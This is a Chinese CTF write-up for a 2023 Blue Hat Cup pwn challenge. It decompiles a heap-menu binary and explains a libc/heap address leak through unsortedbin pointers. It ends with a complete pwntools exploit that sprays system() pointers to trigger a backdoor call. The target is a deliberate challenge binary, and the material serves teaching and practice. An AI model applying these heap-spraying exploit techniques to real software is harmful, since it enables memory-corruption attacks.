從2023藍帽杯0解題heapSpary入門堆噴
關于堆噴堆噴射(Heap Spraying)是一種計算機安全攻擊技術,它旨在在進程的堆中創建多個包含惡意負載的內存塊。這種技術允許攻擊者避免需要知道負載確切的內存地址,因為通過廣泛地“噴射”堆,攻擊者可以提高惡意負載被成功執行的機會。
這種技術尤其用于繞過地址空間布局隨機化(ASLR)和其他內存保護機制。對于利用瀏覽器和其他客戶端應用程序的漏洞特別有效。
前言此題為2023年藍帽杯初賽0解pwn題,比賽的時候是下午放出的,很難在賽點完成該題,算是比較高難度的題,他的題目核心思想確實和題目名字一樣,堆噴,大量的隨機化和滑板指令思想,在賽后一天后完成了攻破。此題,不是因為0解我才覺得他有意義,是因為他的堆噴思想和實際在工作中的二進制利用是很貼合的,確實第一次打這種題。
題目分析checksec
? checksec main [*] '/root/P-W-N/bulue/main' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保護全開,很常規。
這個題其實要是能迅速靜態分析完,其實也能很快出,也算是給我上了一課,要是我的好大兒GXH在,估計是可以在比賽中成為唯一解的。
先來看整個程序是去了符號表,我們先在start那定位main函數,__libc_start_main第一個參數就是main函數地址
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3;
v3 = a1;
__libc_start_main(
(int (__cdecl *)(int, char **, char **))sub_1D64,
v2,
&retaddr,
(void (*)(void))sub_1D90,
(void (*)(void))sub_1E00,
a2,
&v3);
__halt();
}
這個main沒什么好看的,快進到初始化和菜單
初始化如下
unsigned int sub_134D()
{
unsigned int result; // eax
unsigned int buf; // [esp+0h] [ebp-18h] BYREF
int fd; // [esp+4h] [ebp-14h]
int v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 4u) < 0 )
exit(0);
close(fd);
srand(buf);
v3 = rand();
malloc(4 * (v3 % 1638));
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_1E10();
return result;
}
初始化影響不是很大,就是建了個隨機大小的chunk,但是因為后續是不釋放這個chunk其實沒什么影響。
來看菜單,4是不存在的虛空功能
int sub_15E4()
{
puts("========Welcome to new heap game========");
puts("1. Create Heap.");
puts("2. Show Heap.");
puts("3. Delete Heap.");
puts("4. Change Heap.");
puts("5. Action.");
puts("6. Exit.");
return printf("Please give me your choose : ");
}
我們直接來先看看后門函數5
int sub_1C14()
{
int result; // eax
unsigned int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
printf("Please input heap index : ");
v1 = sub_1461();
if ( v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Error happened.");
v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
if ( !**(_DWORD **)v2 )
return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
result = *(_DWORD *)v2;
--**(_DWORD **)v2;
return result;
}
關于地址0x4060這個地方前面存的是堆的地址,后面是堆的大小,堆數量上限在0xFFF。
來看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
這個就是取堆地址然堆地址加堆大小(可控輸入任意值)然后賦值到v2,比如
0x565a1060: 0x57aebf90 0x00000100
得到的就是0x57aec090
然后對0x57aec090里面存放的地址進行一個內存檢測操作,如果前4位為0就執行后門,取0x57aec090內的地址的內存的后四位進行指針函數調用。此時鏈表如下
0x57aec090 —? 0x57aeb300 ?— 0x0
0x57aeb300內存如下(0xf7d99781為system地址)
pwndbg> x/32wx 0x57aeb300 0x57aeb300: 0x00000000 0xf7d99781 0x00000000 0xf7d99781
分析完后門了,我們去看看add功能。可以看見是非常的長的,然后重點在于Switch選擇和sub_14BA函數
_DWORD *sub_1690()
{
_DWORD *result; // eax
int i; // [esp+4h] [ebp-34h]
int k; // [esp+8h] [ebp-30h]
int j; // [esp+Ch] [ebp-2Ch]
int m; // [esp+10h] [ebp-28h]
int v5; // [esp+14h] [ebp-24h]
int v6; // [esp+18h] [ebp-20h]
int v7; // [esp+1Ch] [ebp-1Ch]
for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
;
if ( (int *)i == off_4010 )
return (_DWORD *)puts("Ooops! Here is no space for you.");
printf("How much space do you need : ");
v5 = sub_1461();
if ( v5 <= 0 || v5 > 0x20000 )
return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
;
dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
{
puts("Ooops! Some error happened.");
exit(-1);
}
}
for ( m = 0; m <= 15; ++m )
{
puts("Please input your head data.");
sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
puts("Which flag do you want?");
v6 = sub_1461();
v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
switch ( v6 )
{
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
break;
case 2:
*(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
break;
case 3:
*(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
break;
case 4:
*(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
break;
}
}
printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
result = dword_4040;
dword_4040[0] = i;
return result;
}
我們先看看sub_14BA函數,可以看見邏輯是無限讀入,存在堆溢出,后續堆噴滑動要用上。在輸入的最后末尾都會變成0截斷符,相當于帶有一個off by null,但是這里也用不上的,核心在于堆塊bin構造,要非常熟悉bin的回收機制,還有利用好下面的Switch選擇來把0截斷給繞過。
int __cdecl sub_14BA(char *buf, int a2)
{
while ( a2 )
{
if ( read(0, buf, 1u) != 1 )
exit(-1);
if ( *buf == 10 )
{
*buf = 0;
break;
}
++buf;
}
*buf = 0;
return 0;
}
我們來繼續看這個Switch選擇,其實4個選項都是差不多的只是返回值的地址不一樣而已,調一個就好了。
他會對所有的在0x4060上的chunk都進行賦值操作,我們先重點關注下v7的取值
dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
可以看見v7的取值一樣是堆的起始地址加上我們的大小,注意注意,這個大小是我們自己輸入的,也就是可以打1,2,3.....
如果是這樣的話比如我們的起始地址是0x100,大小是輸入了1,內容輸入的是a,那么經過下面的case 1操作
case 1: *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
就會得到內容如下(此處字節碼只做替代作用,非真實情況)
0x100:a 0x101:\x01 0x102:\x02 0x103:\x03 0x104:\x04 (本應是libc or heap 但是由于v7取的是起始地址加大小剛好覆蓋了一位地址,但是無所謂,低三位隨便蓋) 0x105:libc or heap 0x106:libc or heap 0x107:libc or heap
要是不去調用這4個case中的任一一個,就會變成如下,最后就會因為之前的溢出讀入函數導致末尾強行加上了截斷符
0x100:a 0x101:\x00 0x102:libc or heap ..................
也就是說,只要把握好一個堆塊的BK指針存儲上堆地址或者libc地址就能通過申請的時候申請大小為1的堆塊(實際為0x10)來繞過0截斷,進而泄露地址。
對于這個chunk 構造,我是直接選擇了非常暴力的操作,因為他一次性add操作會直接申請16個chunk,free的時候是全free。
所以泄露操作的exp如下,直接破壞他們的鏈表
create_heap(0xa0, b'1','data',4) create_heap(1, b'1','data',4) create_heap(0x60, b'1','data',4) create_heap(1, b'1','data',4) delete_heap() delete_heap() delete_heap() delete_heap() create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) create_heap(1, b'1','data',4)
bin如下
pwndbg> bin tcachebins 0x10 [ 7]: 0x579aeaf0 —? 0x579aeae0 —? 0x579aeab0 —? 0x579aead0 —? 0x579aeaa0 —? 0x579aea70 —? 0x579aea60 ?— 0x0 0x70 [ 7]: 0x579ae5e0 —? 0x579ae880 —? 0x579ae810 —? 0x579ae7a0 —? 0x579ae730 —? 0x579ae570 —? 0x579ae500 ?— 0x0 0xb0 [ 7]: 0x579aded0 —? 0x579adb60 —? 0x579ada00 —? 0x579ad950 —? 0x579ad740 —? 0x579ad8a0 —? 0x579ae030 ?— 0x0 fastbins 0x10: 0x579ae288 —? 0x579ae258 —? 0x579ae248 —? 0x579ae238 —? 0x579ae328 ?— ... unsortedbin all [corrupted] FD: 0x579ae0d8 —? 0x579adf78 —? 0x579adc08 —? 0x579adaa8 —? 0x579ad7e8 ?— ... BK: 0x579ae8e8 —? 0x579ae338 —? 0x579ae648 —? 0x579ad7e8 —? 0x579adaa8 ?— ... smallbins empty largebins empty pwndbg>
此時就會出現如下的神仙堆塊,這就是我們要的最完美的堆塊
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x579ae8e8 Size: 0x151 fd: 0xf7f48778 bk: 0x579ae338
但是要明白一點,unsortedbin可不止這一個,而且他不是每次都一定處于鏈表的頭部的,所以還要寫一個全輸出和篩選操作
# Assuming leak_all is defined as an empty list before this leak_all = [] heap_addr = None libc_base = None for i in range(46): leak = leak_libc(i) if leak > 0x56000000: leak_all.append(leak) print(hex(leak)) # Assigning values to heap_addr and libc_base if heap_addr is None and leak < 0xf7000000: heap_addr = leak+0x1000-0x56 elif libc_base is None and leak > 0xf7000000: libc_base = leak-0x1eb756
這樣就可以穩定的獲得libc,和一個堆地址。
然后經過內存調試發現,該堆地址在有一定概率在后續申請的堆塊的下面,我們可以進行棧溢出覆蓋該堆地址的內容,完成上面后門要求的條件。
所以,直接進行堆噴覆蓋,index為0的chunk+0x100肯定在自己的下面,我們要考慮爆破的只有堆風水和上面泄露的heap_addr是不是也在index為0的chunk后面就行了,對于這個問題就交給運氣吧,爆就完事了。
tips:(上面的堆風水是因為,他的add的時候用了random瞎賦值下標干擾程序增強隨機化導致的,有時候鏈表不是我想的那么完美有可能踩值會踩不到 0x580e97a0 —? 0x580e8900 ?— 0 ,會變成0x580e97a0 —? 0x580e8900 ?— 0x580e8900 這就是因為堆風水導致padding不穩定,)
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
expfrom pwn import *
# 連接到題目提供的服務端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
p.sendlineafter("Please give me your choose : ", "1")
p.sendlineafter("How much space do you need : ", str(size))
p.sendlineafter("Please input your head data.", data)
p.sendlineafter("Which flag do you want?", str(flag))
for _ in range(15):
p.sendlineafter("Please input your head data.", data2)
p.sendlineafter("Which flag do you want?", str(flag))
def delete_heap():
p.sendlineafter("Please give me your choose : ", "3")
all_leak=[]
def leak_libc(idx):
p.sendlineafter("Please give me your choose : ", "2")
p.sendlineafter("Please input heap index : ", str(idx))
p.recvuntil("Heap information is ")
p.recv(4)
leak = u32(p.recv(4).ljust(4,b'\x00'))
return leak
gdb.attach(p,'b *$rebase(0x01C9E)')
#構建理想chunk,bk帶有堆指針或libc指針,這種chunk可以批發的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
delete_heap()
delete_heap()
delete_heap()
delete_heap()
#申請小chunk 瘋狂切割,直接一點點帶出來
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))
# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆風水隨緣padding,最后的p32(0)+p32(sys)是因為要滿足后門格式,由于我們不可能得到具體的距離,只能用滑板思想批量填充滑動
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
p.interactive()
